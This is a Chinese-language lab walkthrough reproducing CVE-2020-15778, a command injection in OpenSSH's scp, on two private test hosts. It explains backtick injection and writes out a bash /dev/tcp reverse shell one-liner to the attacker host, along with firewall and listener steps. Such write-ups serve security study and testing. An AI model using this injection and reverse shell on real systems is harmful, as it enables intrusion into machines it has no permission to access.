CVE-2020-15778 OpenSSH命令注入漏洞复现
一、漏洞概要
OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。
参考链接:https://github.com/cpandya2909/CVE-2020-15778
二、环境部署
攻击机:Centos7.6 10.10.10.133
靶机:Centos7.6 10.10.10.134
三、漏洞复现
首先确认靶机OpenSSH版本是否在漏洞影响范围
1)正常远程拷贝
scp是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令,命令格式:
scp local_file remote_username@remote_ip:remote_file
攻击机在当前目录下创建一个拷贝用的测试文件test.txt
远程拷贝文件
可以看到,在靶机上对比之前已经有拷贝过去的文件了
2)命令注入攻击
通过特殊符号 ` 进行远程命令注入攻击
命令执行成功
即可以在``内实现任意远程命令执行,甚至是从网上下载准备好的后门或者其他恶意程序
3)反弹shell利用
命令格式:
bash -i >&/dev/tcp/10.10.10.133/6666 0>&1
命令解析
命令 | 解释 |
bash -i | 产生一个交互式bash |
>& /dev/tcp/ip/port | 建立TCP连接,并将标准输出和错误重定向到TCP连接 |
0>&1 | 从TCP连接获取输入 |
打开攻击机监听端口,如6666
firewall-cmd --zone=public --add-port=6666/tcp --permanent
新开一个窗口开启监听
攻击机原窗口进行反弹shell命令注入攻击
执行成功,成功回显
四、总结
此漏洞利用有一定的局限性,需要通过SSH身份认证。但是该漏洞影响范围非常广,且官方尚未发布安全更新补丁,请持续关注。